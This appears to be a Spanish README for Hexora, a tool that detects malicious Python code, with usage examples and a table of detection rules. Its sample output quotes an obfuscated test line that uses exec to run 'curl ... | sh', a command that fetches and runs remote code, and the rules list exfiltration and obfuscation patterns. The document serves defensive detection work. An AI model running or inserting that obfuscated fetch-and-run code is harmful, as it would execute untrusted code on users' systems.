
Análisis estático de código Python malicioso
Hexora es una herramienta de análisis estático diseñada para detectar patrones maliciosos y dañinos en código Python. Combina un motor de análisis estático basado en reglas con un modelo de aprendizaje automático que puntúa archivos fuente completos para clasificarlos como maliciosos o benignos.
Se puede usar para:
Para ejemplos de salida, consulte el archivo docs/examples.md.
Requiere Python 3.9+.
pip install hexora
Usando uv:
uv tool install hexora
hexora --help
> hexora audit test.py
warning[HX2000]: Reading from the clipboard can be used to exfiltrate sensitive data.
┌─ resources/test/test.py:3:8
│
1 │ import pyperclip
2 │
3 │ data = pyperclip.paste()
│ ^^^^^^^^^^^^^^^^^ HX2000
│
= Confidence: High
Help: Clipboard access can be used to exfiltrate sensitive data such as passwords and keys.
Machine learning based score for file: 0.93
warning[HX3000]: Possible execution of unwanted code
┌─ resources/test/test.py:20:1
│
19 │ (_ceil, _random, Math,), Run, (Floor, _frame, _divide) = (exec, str, tuple), map, (ord, globals, eval)
20 │ _ceil("import subprocess;subprocess.call(['curl -fsSL https://example.com/b.sh | sh'])")
│ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ HX3000
│
hexora audit --output-format terminal resources/test/
hexora audit --exclude HX5020,HX5030,HX5040,HX5050,HX5060 --min-confidence high .venv/lib/python3.11/site-packages/
Donde python3.11 es la versión de Python en el entorno virtual.
Consejos:
--exclude para suprimir ciertos códigos de regla (por ejemplo, importaciones ruidosas) en una ejecución determinada.--min-confidence para centrarse solo en hallazgos de alta confianza.La confianza indica qué tan malicioso es un determinado fragmento de código. Algunas bibliotecas o fragmentos de código se utilizan con fines legítimos y es difícil distinguir los casos de uso legítimos de los maliciosos. Por eso algunos aciertos tienen un nivel de confianza bajo.
Algunas reglas pueden tener diferentes niveles de confianza. Evite filtrar muchas reglas por código a menos que esté muy seguro. Por ejemplo, la ejecución de código y de shell pueden tener confianza media, alta y muy alta. Esto depende de cómo se ejecutó el código. Si detectamos un intento de ofuscación, elevamos la confianza.
Por ejemplo, este código tendrá una confianza alta:
globals()["__builtins__"].eval("print(123)")
>>> import hexora
>>> results = hexora.audit_path("/Projects/hexora/resources/test/")
>>> len(results)
15
>>> results[0]
{'items': [{'confidence': 'low',
'description': 'pyperclip can be used to copy and paste data from '
'the clipboard.',
'label': 'pyperclip',
'location': (7, 16),
'rule': 'HX5010'},
{'confidence': 'high',
'description': 'Reading from the clipboard can be used to '
'exfiltrate sensitive data.',
'label': 'pyperclip.paste',
'location': (25, 42),
'rule': 'HX2000'}],
'path': '/Projects/hexora/resources/test/clipboard_01.py'}
>>> # Single file audit
>>> result = hexora.audit_file("/Projects/hexora/resources/test/clipboard_01.py")
>>> ...
Al desarrollar nuevas reglas, puede usar conjuntos de datos maliciosos existentes como malicious-software-packages-dataset.
Después de clonar, apunte la herramienta de evaluación comparativa al directorio del conjunto de datos:
cargo run --release benchmark malicious-software-packages-dataset/samples/pypi/ --print-missing --exclude-path data/excluded.txt --min-confidence high
Se agregan nuevas reglas regularmente.
Actualmente, están disponibles las siguientes reglas:
Para el análisis, usamos el analizador AST de la biblioteca ruff.
| Código | Nombre | Descripción |
|---|
| HX1000 | AppEnumeration | Enumeración sospechosa de aplicaciones. |
| HX1010 | BrowserEnumeration | Enumeración sospechosa del navegador (apps, cookies, historial, etc.). |
| HX1020 | PathEnumeration | Enumeración sospechosa de rutas. |
| HX1030 | OSFingerprint | Huella digital sospechosa del sistema operativo. |
| HX2000 | ClipboardRead | Lectura del portapapeles. |
| HX2010 | EnvAccess | Acceso a una variable de entorno sensible. |
| HX2020 | ScreenshotCapture | Captura de pantallas de la pantalla. |
| HX3000 | CodeExec | Posible ejecución de código. |
| HX3010 | ShellExec | Ejecución de un comando de shell. |
| HX3040 | DLLInjection | Posible inyección de DLL. |
| HX3050 | DangerousExec | Ejecución de un comando potencialmente peligroso dentro de un comando de shell. |
| HX3060 | SuspiciousCall | Llamada a función sospechosa. |
| HX4000 | ObfuscatedShellExec | Ejecución de un comando de shell posiblemente ofuscado. |
| HX4010 | ObfuscatedCodeExec | Ejecución de código posiblemente ofuscado. |
| HX5000 | DunderImport | Uso sospechoso de __import__. |
| HX5010 | SuspiciousImport | Importación sospechosa. |
| HX5020 | CtypesImport | Importación sospechosa de ctypes. |
| HX5030 | PickleImport | Importación sospechosa de pickle. |
| HX5040 | StructImport | Importación sospechosa de struct. |
| HX5050 | SocketImport | Importación sospechosa de socket. |
| HX5060 | MarshalImport | Importación sospechosa de marshal. |
| HX6000 | Base64String | Cadena larga codificada en Base64 detectada; posible ofuscación de código. |
| HX6010 | HexedLiterals | Lista de literales codificados en hexadecimal detectada; posible payload. |
| HX6020 | HexedString | Cadena larga codificada en hexadecimal detectada; posible payload. |
| HX6030 | IntLiterals | Lista grande de literales enteros detectada; posible ofuscación de código. |
| HX6040 | CVEInLiteral | El literal contiene un identificador CVE. |
| HX6050 | SuspiciousLiteral | Literal sospechoso detectado; posible enumeración de datos. |
| HX6060 | PathTraversal | Path traversal sospechoso. |
| HX6070 | BrowserExtension | Enumeración de extensiones de navegador sensibles. |
| HX6080 | WebHook | Webhook sospechoso detectado. Posible exfiltración de datos. |
| HX6090 | TelegramToken | Token de bot de Telegram detectado en un literal de cadena. |
| HX7000 | SuspiciousFunctionName | Nombre de función sospechoso. |
| HX7010 | SuspiciousParameterName | Nombre de parámetro sospechoso. |
| HX7020 | SuspiciousVariable | Nombre de variable sospechoso. |
| HX9000 | DataExfiltration | Posible exfiltración de datos. |
| HX8000 | BinaryDownload | Descarga sospechosa de binarios. |
| HX8010 | BuiltinsVariable | Uso sospechoso de variables builtin. |
| HX8020 | SuspiciousComment | Comentario sospechoso. |
| HX8030 | SuspiciousWrite | Escritura sospechosa en el sistema de archivos. |
| HX8040 | InstallHook | Configuración sospechosa de hook de instalación. |